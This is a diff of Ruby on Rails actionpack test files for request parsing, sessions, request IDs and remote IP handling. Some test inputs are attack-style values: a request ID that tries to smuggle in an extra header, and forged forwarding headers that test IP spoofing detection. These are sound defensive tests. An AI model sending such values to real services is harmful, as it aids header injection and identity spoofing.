+    params = parse_multipart("mixed_files", "/parse_binary")
     assert_equal %w(files foo), params.keys.sort
     assert_equal "bar", params["foo"]
 
@@ -143,8 +157,9 @@ def teardown
   test "uploads and reads binary file" do
     with_test_routing do
       fixture = FIXTURE_PATH + "/ruby_on_rails.jpg"
-      params = { uploaded_data: fixture_file_upload(fixture, "image/jpg") }
+      params = { uploaded_data: fixture_file_upload(fixture, "image/jpeg") }
       post "/read", params: params
+      assert_equal Encoding::ASCII_8BIT, response.body.encoding
     end
   end
 
@@ -159,7 +174,7 @@ def teardown
   test "does not raise EOFError on GET request with multipart content-type" do
     with_routing do |set|
       set.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":action", controller: "multipart_params_parsing_test/test"
         end
       end
@@ -178,10 +193,10 @@ def fixture(name)
       end
     end
 
-    def parse_multipart(name)
+    def parse_multipart(name, path = "/parse")
       with_test_routing do
         headers = fixture(name)
-        post "/parse", params: headers.delete("rack.input"), headers: headers
+        post path, params: headers.delete("rack.input"), headers: headers
         assert_response :ok
         TestController.last_request_parameters
       end
@@ -190,7 +205,7 @@ def parse_multipart(name)
     def with_test_routing
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             post ":action", controller: "multipart_params_parsing_test/test"
           end
         end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index 2499c33cef291..0dff563e8661d 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class QueryStringParsingTest < ActionDispatch::IntegrationTest
@@ -16,9 +18,13 @@ def initialize(app)
       @app = app
     end
 
+    def populate_rack_cache(env)
+      Rack::Request.new(env).params
+    end
+
     def call(env)
       # Trigger a Rack parse so that env caches the query params
-      Rack::Request.new(env).params
+      populate_rack_cache(env)
       @app.call(env)
     end
   end
@@ -144,7 +150,7 @@ def test_array_parses_without_nil
   test "ambiguous query string returns a bad request" do
     with_routing do |set|
       set.draw do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":action", to: ::QueryStringParsingTest::TestController
         end
       end
@@ -155,16 +161,19 @@ def test_array_parses_without_nil
   end
 
   private
+    def app
+      @app ||= self.class.build_app do |middleware|
+        middleware.use(EarlyParse)
+      end
+    end
+
     def assert_parses(expected, actual)
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":action", to: ::QueryStringParsingTest::TestController
           end
         end
-        @app = self.class.build_app(set) do |middleware|
-          middleware.use(EarlyParse)
-        end
 
         get "/parse", params: actual
         assert_response :ok
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
index 311b80ea0a6a6..169c8ea3197d3 100644
--- a/actionpack/test/dispatch/request/session_test.rb
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_dispatch/middleware/session/abstract_store"
 
@@ -20,6 +22,7 @@ def test_to_hash
         s["foo"] = "bar"
         assert_equal "bar", s["foo"]
         assert_equal({ "foo" => "bar" }, s.to_hash)
+        assert_equal({ "foo" => "bar" }, s.to_h)
       end
 
       def test_create_merges_old
@@ -47,6 +50,12 @@ def test_destroy
         assert_empty s
       end
 
+      def test_store
+        s = Session.create(store, req, {})
+        s.store("foo", "bar")
+        assert_equal "bar", s["foo"]
+      end
+
       def test_keys
         s = Session.create(store, req, {})
         s["rails"] = "ftw"
@@ -54,6 +63,11 @@ def test_keys
         assert_equal %w[rails adequate], s.keys
       end
 
+      def test_keys_with_deferred_loading
+        s = Session.create(store_with_data, req, {})
+        assert_equal %w[sample_key], s.keys
+      end
+
       def test_values
         s = Session.create(store, req, {})
         s["rails"] = "ftw"
@@ -61,6 +75,11 @@ def test_values
         assert_equal %w[ftw awesome], s.values
       end
 
+      def test_values_with_deferred_loading
+        s = Session.create(store_with_data, req, {})
+        assert_equal %w[sample_value], s.values
+      end
+
       def test_clear
         s = Session.create(store, req, {})
         s["rails"] = "ftw"
@@ -105,6 +124,52 @@ def test_fetch
         end
       end
 
+      def test_dig
+        session = Session.create(store, req, {})
+        session["one"] = { "two" => "3" }
+
+        assert_equal "3", session.dig("one", "two")
+        assert_equal "3", session.dig(:one, "two")
+
+        assert_nil session.dig("three", "two")
+        assert_nil session.dig("one", "three")
+        assert_nil session.dig("one", :two)
+      end
+
+      def test_id_was_for_new_session_that_does_not_exist
+        session = Session.create(store_for_session_that_does_not_exist, req, {})
+        assert_nil session.id_was
+      end
+
+      def test_id_was_for_session_that_does_not_exist_after_writing
+        session = Session.create(store_for_session_that_does_not_exist, req, {})
+        session["one"] = "1"
+        assert_nil session.id_was
+      end
+
+      def test_id_was_for_session_that_does_not_exist_after_destroying
+        session = Session.create(store_for_session_that_does_not_exist, req, {})
+        session.destroy
+        assert_nil session.id_was
+      end
+
+      def test_id_was_for_existing_session
+        session = Session.create(store, req, {})
+        assert_equal 1, session.id_was
+      end
+
+      def test_id_was_for_existing_session_after_write
+        session = Session.create(store, req, {})
+        session["one"] = "1"
+        assert_equal 1, session.id_was
+      end
+
+      def test_id_was_for_existing_session_after_destroy
+        session = Session.create(store, req, {})
+        session.destroy
+        assert_equal 1, session.id_was
+      end
+
       private
         def store
           Class.new {
@@ -113,6 +178,22 @@ def session_exists?(env); true; end
             def delete_session(env, id, options); 123; end
           }.new
         end
+
+        def store_with_data
+          Class.new {
+            def load_session(env); [1, { "sample_key" => "sample_value" }]; end
+            def session_exists?(env); true; end
+            def delete_session(env, id, options); 123; end
+          }.new
+        end
+
+        def store_for_session_that_does_not_exist
+          Class.new {
+            def load_session(env); [1, {}]; end
+            def session_exists?(env); false; end
+            def delete_session(env, id, options); 123; end
+          }.new
+        end
     end
 
     class SessionIntegrationTest < ActionDispatch::IntegrationTest
@@ -130,7 +211,11 @@ def call(env)
       end
 
       def app
-        @app ||= RoutedRackApp.new(Router)
+        @app ||= RoutedRackApp.new(Router) do |middleware|
+          @cache = ActiveSupport::Cache::MemoryStore.new
+          middleware.use ActionDispatch::Session::CacheStore, key: "_session_id", cache: @cache
+          middleware.use Rack::Lint
+        end
       end
 
       def test_session_follows_rack_api_contract_1
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
index 1169bf0cdbbb7..56acbe8d8ed3f 100644
--- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
@@ -107,7 +109,7 @@ def teardown
     query = [
       "customers[boston][first][name]=David",
       "something_else=blah",
-      "logo=#{File.expand_path(__FILE__)}"
+      "logo=#{__FILE__}"
     ].join("&")
     expected = {
       "customers" => {
@@ -118,7 +120,7 @@ def teardown
         }
       },
       "something_else" => "blah",
-      "logo" => File.expand_path(__FILE__),
+      "logo" => __FILE__,
     }
     assert_parses expected, query
   end
@@ -140,7 +142,7 @@ def teardown
     def with_test_routing
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             post ":action", to: ::UrlEncodedParamsParsingTest::TestController
           end
         end
diff --git a/actionpack/test/dispatch/request_id_test.rb b/actionpack/test/dispatch/request_id_test.rb
index 4fcd45acf55e3..eb813c6d6ba4e 100644
--- a/actionpack/test/dispatch/request_id_test.rb
+++ b/actionpack/test/dispatch/request_id_test.rb
@@ -1,16 +1,27 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class RequestIdTest < ActiveSupport::TestCase
   test "passing on the request id from the outside" do
-    assert_equal "external-uu-rid", stub_request("HTTP_X_REQUEST_ID" => "external-uu-rid").request_id
+    assert_equal "external-uu-rid", stub_request({ "HTTP_X_REQUEST_ID" => "external-uu-rid" }).request_id
+  end
+
+  test "passing on the request id via a configured header" do
+    assert_equal "external-uu-rid", stub_request({ "HTTP_TRACER_ID" => "external-uu-rid" }, header: "tracer-id").request_id
   end
 
   test "ensure that only alphanumeric uurids are accepted" do
-    assert_equal "X-Hacked-HeaderStuff", stub_request("HTTP_X_REQUEST_ID" => "; X-Hacked-Header: Stuff").request_id
+    assert_equal "X-Hacked-HeaderStuff", stub_request({ "HTTP_X_REQUEST_ID" => "; X-Hacked-Header: Stuff" }).request_id
+  end
+
+  test "accept Apache mod_unique_id format" do
+    mod_unique_id = "abcxyz@ABCXYZ-0123456789"
+    assert_equal mod_unique_id, stub_request({ "HTTP_X_REQUEST_ID" => mod_unique_id }).request_id
   end
 
   test "ensure that 255 char limit on the request id is being enforced" do
-    assert_equal "X" * 255, stub_request("HTTP_X_REQUEST_ID" => "X" * 500).request_id
+    assert_equal "X" * 255, stub_request({ "HTTP_X_REQUEST_ID" => "X" * 500 }).request_id
   end
 
   test "generating a request id when none is supplied" do
@@ -18,13 +29,21 @@ class RequestIdTest < ActiveSupport::TestCase
   end
 
   test "uuid alias" do
-    assert_equal "external-uu-rid", stub_request("HTTP_X_REQUEST_ID" => "external-uu-rid").uuid
+    assert_equal "external-uu-rid", stub_request({ "HTTP_X_REQUEST_ID" => "external-uu-rid" }).uuid
   end
 
   private
+    def stub_request(env = {}, header: "x-request-id")
+      app = lambda { |_env| [ 200, {}, [] ] }
+      env = Rack::MockRequest.env_for("", env)
+
+      Rack::Lint.new(
+        ActionDispatch::RequestId.new(
+          Rack::Lint.new(app),
+          header: header,
+        )
+      ).call(env)
 
-    def stub_request(env = {})
-      ActionDispatch::RequestId.new(lambda { |environment| [ 200, environment, [] ] }).call(env)
       ActionDispatch::Request.new(env)
     end
 end
@@ -36,6 +55,10 @@ def index
     end
   end
 
+  setup do
+    @header = "X-Request-Id"
+  end
+
   test "request id is passed all the way to the response" do
     with_test_route_set do
       get "/"
@@ -50,18 +73,29 @@ def index
     end
   end
 
+  test "using a custom request_id header key" do
+    @header = "X-Tracer-Id"
+    with_test_route_set do
+      get "/"
+      assert_match(/\w+/, @response.headers["X-Tracer-Id"])
+    end
+  end
+
   private
+    def app
+      @app ||= self.class.build_app do |middleware|
+        middleware.use Rack::Lint
+        middleware.use ActionDispatch::RequestId, header: @header
+        middleware.use Rack::Lint
+      end
+    end
 
-    def with_test_route_set
+    def with_test_route_set(header: "X-Request-Id")
       with_routing do |set|
         set.draw do
           get "/", to: ::RequestIdResponseTest::TestController.action(:index)
         end
 
-        @app = self.class.build_app(set) do |middleware|
-          middleware.use ActionDispatch::RequestId
-        end
-
         yield
       end
     end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index 2f9228a62d400..27d3cb25f1396 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -1,11 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class BaseRequestTest < ActiveSupport::TestCase
   def setup
-    @env = {
-      :ip_spoofing_check => true,
-      "rack.input" => "foo"
-    }
     @original_tld_length = ActionDispatch::Http::URL.tld_length
   end
 
@@ -21,13 +19,23 @@ def url_for(options = {})
   private
     def stub_request(env = {})
       ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
-      @trusted_proxies ||= nil
-      ip_app = ActionDispatch::RemoteIp.new(Proc.new {}, ip_spoofing_check, @trusted_proxies)
       ActionDispatch::Http::URL.tld_length = env.delete(:tld_length) if env.key?(:tld_length)
 
+      uri = env["HTTPS"] == "on" ? "https://www.example.org" : "http://www.example.org"
+
+      env = Rack::MockRequest.env_for(uri, env)
+      @additional_trusted_proxy ||= nil
+      trusted_proxies = ActionDispatch::RemoteIp::TRUSTED_PROXIES + [@additional_trusted_proxy]
+
+      ip_app = Rack::Lint.new(
+        ActionDispatch::RemoteIp.new(
+          Rack::Lint.new(Proc.new { [200, {}, []] }),
+          ip_spoofing_check,
+          trusted_proxies,
+        )
+      )
       ip_app.call(env)
 
-      env = @env.merge(env)
       ActionDispatch::Request.new(env)
     end
 end
@@ -39,9 +47,6 @@ class RequestUrlFor < BaseRequestTest
 
     assert_equal "/books", url_for(only_path: true, path: "/books")
 
-    assert_equal "http://www.example.com/books/?q=code", url_for(trailing_slash: true, path: "/books?q=code")
-    assert_equal "http://www.example.com/books/?spareslashes=////", url_for(trailing_slash: true, path: "/books?spareslashes=////")
-
     assert_equal "http://www.example.com",  url_for
     assert_equal "http://api.example.com",  url_for(subdomain: "api")
     assert_equal "http://example.com",      url_for(subdomain: false)
@@ -75,6 +80,10 @@ class RequestIP < BaseRequestTest
                            "HTTP_X_FORWARDED_FOR" => "3.4.5.6"
     assert_equal "3.4.5.6", request.remote_ip
 
+    request = stub_request "REMOTE_ADDR" => "127.0.0.1",
+                           "HTTP_X_FORWARDED_FOR" => "172.31.4.4, 10.0.0.1"
+    assert_equal "172.31.4.4", request.remote_ip
+
     request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,unknown"
     assert_equal "3.4.5.6", request.remote_ip
 
@@ -87,20 +96,31 @@ class RequestIP < BaseRequestTest
     request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,10.0.0.1"
     assert_equal "3.4.5.6", request.remote_ip
 
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "172.31.4.4, 10.0.0.1"
+    assert_equal "172.31.4.4", request.remote_ip
+
     request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6, 10.0.0.1, 10.0.0.1"
     assert_equal "3.4.5.6", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,127.0.0.1"
     assert_equal "3.4.5.6", request.remote_ip
 
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6:1234,127.0.0.1"
+    assert_equal "3.4.5.6", request.remote_ip
+
     request = stub_request "HTTP_X_FORWARDED_FOR" => "unknown,192.168.0.1"
-    assert_nil request.remote_ip
+    assert_equal "192.168.0.1", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "9.9.9.9, 3.4.5.6, 172.31.4.4, 10.0.0.1"
     assert_equal "3.4.5.6", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "not_ip_address"
     assert_nil request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "1.2.3.4"
+    assert_equal "1.2.3.4", request.remote_ip
+    request.remote_ip = "2.3.4.5"
+    assert_equal "2.3.4.5", request.remote_ip
   end
 
   test "remote ip spoof detection" do
@@ -110,8 +130,25 @@ class RequestIP < BaseRequestTest
       request.remote_ip
     }
     assert_match(/IP spoofing attack/, e.message)
-    assert_match(/HTTP_X_FORWARDED_FOR="1.1.1.1"/, e.message)
-    assert_match(/HTTP_CLIENT_IP="2.2.2.2"/, e.message)
+    assert_match(/HTTP_X_FORWARDED_FOR="1\.1\.1\.1"/, e.message)
+    assert_match(/HTTP_CLIENT_IP="2\.2\.2\.2"/, e.message)
+  end
+
+  test "remote ip spoof detection with both headers" do
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "1.1.1.1",
+                           "HTTP_FORWARDED"       => "for=2.2.2.2, for=3.3.3.3",
+                           "HTTP_CLIENT_IP"       => "127.0.0.1"
+    e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
+      request.remote_ip
+    }
+    assert_match(/IP spoofing attack/, e.message)
+    assert_match(/HTTP_X_FORWARDED_FOR="1\.1\.1\.1"/, e.message)
+    if Rack.release < "3"
+      assert_match(/HTTP_FORWARDED="for=1\.1\.1\.1"/, e.message)
+    else
+      assert_match(/HTTP_FORWARDED="for=2\.2\.2\.2, for=3\.3\.3\.3"/, e.message)
+    end
+    assert_match(/HTTP_CLIENT_IP="127\.0\.0\.1"/, e.message)
   end
 
   test "remote ip with spoof detection disabled" do
@@ -133,31 +170,34 @@ class RequestIP < BaseRequestTest
     request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
     assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
 
-    request = stub_request "REMOTE_ADDR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334"
+    request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7335,2001:0db8:85a3:0000:0000:8a2e:0370:7334"
     assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
 
     request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
-                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
-    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+                           "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7335"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7335", request.remote_ip
 
     request = stub_request "REMOTE_ADDR" => "::1",
-                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
-    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+                           "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7335"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7335", request.remote_ip
 
-    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,unknown"
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7335,unknown"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7335", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "[fe80:0000:0000:0000:0202:b3ff:fe1e:8329]:3000,unknown"
     assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1"
     assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
 
-    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, ::1"
-    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7335, ::1, ::1"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7335", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "unknown,::1"
-    assert_nil request.remote_ip
+    assert_equal "::1", request.remote_ip
 
-    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::, fc01::, fdff"
-    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334, 2001:0db8:85a3:0000:0000:8a2e:0370:7335, ::1, fc00::, fc01::, fdff"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7335", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "FE00::, FDFF::"
     assert_equal "FE00::", request.remote_ip
@@ -167,25 +207,25 @@ class RequestIP < BaseRequestTest
   end
 
   test "remote ip v6 spoof detection" do
-    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329",
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7335",
                            "HTTP_CLIENT_IP"       => "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
     e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
       request.remote_ip
     }
     assert_match(/IP spoofing attack/, e.message)
-    assert_match(/HTTP_X_FORWARDED_FOR="fe80:0000:0000:0000:0202:b3ff:fe1e:8329"/, e.message)
+    assert_match(/HTTP_X_FORWARDED_FOR="2001:0db8:85a3:0000:0000:8a2e:0370:7335"/, e.message)
     assert_match(/HTTP_CLIENT_IP="2001:0db8:85a3:0000:0000:8a2e:0370:7334"/, e.message)
   end
 
   test "remote ip v6 spoof detection disabled" do
-    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329",
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7335",
                            "HTTP_CLIENT_IP"       => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
                            :ip_spoofing_check     => false
-    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7335", request.remote_ip
   end
 
   test "remote ip with user specified trusted proxies String" do
-    @trusted_proxies = "67.205.106.73"
+    @additional_trusted_proxy = "67.205.106.73"
 
     request = stub_request "REMOTE_ADDR" => "3.4.5.6",
                            "HTTP_X_FORWARDED_FOR" => "67.205.106.73"
@@ -200,14 +240,14 @@ class RequestIP < BaseRequestTest
     assert_equal "3.4.5.6", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "67.205.106.73,unknown"
-    assert_nil request.remote_ip
+    assert_equal "67.205.106.73", request.remote_ip # change
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "9.9.9.9, 3.4.5.6, 10.0.0.1, 67.205.106.73"
     assert_equal "3.4.5.6", request.remote_ip
   end
 
   test "remote ip v6 with user specified trusted proxies String" do
-    @trusted_proxies = "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    @additional_trusted_proxy = "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
 
     request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
                            "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
@@ -219,17 +259,17 @@ class RequestIP < BaseRequestTest
 
     request = stub_request "REMOTE_ADDR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1",
                            "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
-    assert_equal "::1", request.remote_ip
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "unknown,fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
-    assert_nil request.remote_ip
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
 
     request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334"
     assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
   end
 
   test "remote ip with user specified trusted proxies Regexp" do
-    @trusted_proxies = /^67\.205\.106\.73$/i
+    @additional_trusted_proxy = /^67\.205\.106\.73$/i
 
     request = stub_request "REMOTE_ADDR" => "67.205.106.73",
                            "HTTP_X_FORWARDED_FOR" => "3.4.5.6"
@@ -240,7 +280,7 @@ class RequestIP < BaseRequestTest
   end
 
   test "remote ip v6 with user specified trusted proxies Regexp" do
-    @trusted_proxies = /^fe80:0000:0000:0000:0202:b3ff:fe1e:8329$/i
+    @additional_trusted_proxy = /^fe80:0000:0000:0000:0202:b3ff:fe1e:8329$/i
 
     request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
                            "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
@@ -294,7 +334,7 @@ class RequestDomain < BaseRequestTest
     assert_equal %w( 192 168 1 ), request.subdomains
     assert_equal "192.168.1", request.subdomain
 
-    request = stub_request "HTTP_HOST" => nil
+    request = stub_request "HTTP_HOST" => ""
     assert_equal [], request.subdomains
     assert_equal "", request.subdomain
 
@@ -316,6 +356,34 @@ class RequestDomain < BaseRequestTest
   end
 end
 
+class RequestDomainExtractor < BaseRequestTest
+  module CustomExtractor
+    extend self
+
+    def domain_from(_, _)
+      "world"
+    end
+
+    def subdomains_from(_, _)
+      ["hello"]
+    end
+  end
+
+  setup { ActionDispatch::Http::URL.domain_extractor = CustomExtractor }
+
+  teardown { ActionDispatch::Http::URL.domain_extractor = ActionDispatch::Http::URL::DomainExtractor }
+
+  test "domain" do
+    request = stub_request "HTTP_HOST" => "foobar.foobar.com"
+    assert_equal "world", request.domain
+  end
+
+  test "subdomains" do
+    request = stub_request "HTTP_HOST" => "foobar.foobar.com"
+    assert_equal "hello", request.subdomain
+  end
+end
+
 class RequestPort < BaseRequestTest
   test "standard_port" do
     request = stub_request
@@ -327,20 +395,20 @@ class RequestPort < BaseRequestTest
 
   test "standard_port?" do
     request = stub_request
-    assert !request.ssl?
-    assert request.standard_port?
+    assert_not_predicate request, :ssl?
+    assert_predicate request, :standard_port?
 
     request = stub_request "HTTPS" => "on"
-    assert request.ssl?
-    assert request.standard_port?
+    assert_predicate request, :ssl?
+    assert_predicate request, :standard_port?
 
     request = stub_request "HTTP_HOST" => "www.example.org:8080"
-    assert !request.ssl?
-    assert !request.standard_port?
+    assert_not_predicate request, :ssl?
+    assert_not_predicate request, :standard_port?
 
     request = stub_request "HTTP_HOST" => "www.example.org:8443", "HTTPS" => "on"
-    assert request.ssl?
-    assert !request.standard_port?
+    assert_predicate request, :ssl?
+    assert_not_predicate request, :standard_port?
   end
 
   test "optional port" do
@@ -366,7 +434,7 @@ class RequestPort < BaseRequestTest
     request = stub_request "SERVER_PORT" => "80"
     assert_equal 80, request.server_port
 
-    request = stub_request "SERVER_PORT" => ""
+    request = stub_request "SERVER_PORT" => "0"
     assert_equal 0, request.server_port
   end
 end
@@ -409,7 +477,7 @@ class RequestPath < BaseRequestTest
     assert_equal "/foo?bar", path
   end
 
-  test "original_url returns url built using ORIGINAL_FULLPATH" do
+  test "original_url returns URL built using ORIGINAL_FULLPATH" do
     request = stub_request("ORIGINAL_FULLPATH" => "/foo?bar",
                            "HTTP_HOST"         => "example.org",
                            "rack.url_scheme"   => "http")
@@ -569,7 +637,7 @@ class RequestCGI < BaseRequestTest
 class LocalhostTest < BaseRequestTest
   test "IPs that match localhost" do
     request = stub_request("REMOTE_IP" => "127.1.1.1", "REMOTE_ADDR" => "127.1.1.1")
-    assert request.local?
+    assert_predicate request, :local?
   end
 end
 
@@ -578,57 +646,85 @@ class RequestCookie < BaseRequestTest
     request = stub_request("HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes")
     assert_equal "c84ace84796670c052c6ceb2451fb0f2", request.cookies["_session_id"], request.cookies.inspect
     assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
-
-    # some Nokia phone browsers omit the space after the semicolon separator.
-    # some developers have grown accustomed to using comma in cookie values.
-    request = stub_request("HTTP_COOKIE" => "_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes")
-    assert_equal "c84ace847", request.cookies["_session_id"], request.cookies.inspect
-    assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
   end
 end
 
 class RequestParamsParsing < BaseRequestTest
-  test "doesnt break when content type has charset" do
+  test "doesn't break when content type has charset" do
     request = stub_request(
       "REQUEST_METHOD" => "POST",
-      "CONTENT_LENGTH" => "flamenco=love".length,
+      "CONTENT_LENGTH" => "flamenco=love".length.to_s,
       "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8",
-      "rack.input" => StringIO.new("flamenco=love")
+      :input => "flamenco=love"
     )
 
     assert_equal({ "flamenco" => "love" }, request.request_parameters)
   end
 
-  test "doesnt interpret request uri as query string when missing" do
+  test "doesn't interpret request uri as query string when missing" do
     request = stub_request("REQUEST_URI" => "foo")
     assert_equal({}, request.query_parameters)
   end
-end
 
-class RequestRewind < BaseRequestTest
-  test "body should be rewound" do
-    data = "rewind"
-    env = {
-      "rack.input" => StringIO.new(data),
-      "CONTENT_LENGTH" => data.length,
-      "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8"
-    }
+  # partially mimics https://github.com/rack/rack/blob/249dd785625f0cbe617d3144401de90ecf77025a/test/spec_multipart.rb#L114
+  test "request_parameters raises BadRequest when content length lower than actual data length for a multipart request" do
+    request = stub_request(
+      "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x",
+      "CONTENT_LENGTH" => "9", # lower than data length
+      "REQUEST_METHOD" => "POST",
+      :input => "0123456789"
+    )
 
-    # Read the request body by parsing params.
-    request = stub_request(env)
-    request.request_parameters
+    err = assert_raises(ActionController::BadRequest) do
+      request.request_parameters
+    end
 
-    # Should have rewound the body.
-    assert_equal 0, request.body.pos
+    # original error message is Rack::Multipart::EmptyContentError for rack > 3 otherwise EOFError
+    assert_match "Invalid request parameters:", err.message
   end
 
-  test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
+  test "request_parameters raises BadRequest when content length is higher than actual data length" do
     request = stub_request(
-      "rack.input" => StringIO.new("raw"),
-      "CONTENT_LENGTH" => 3
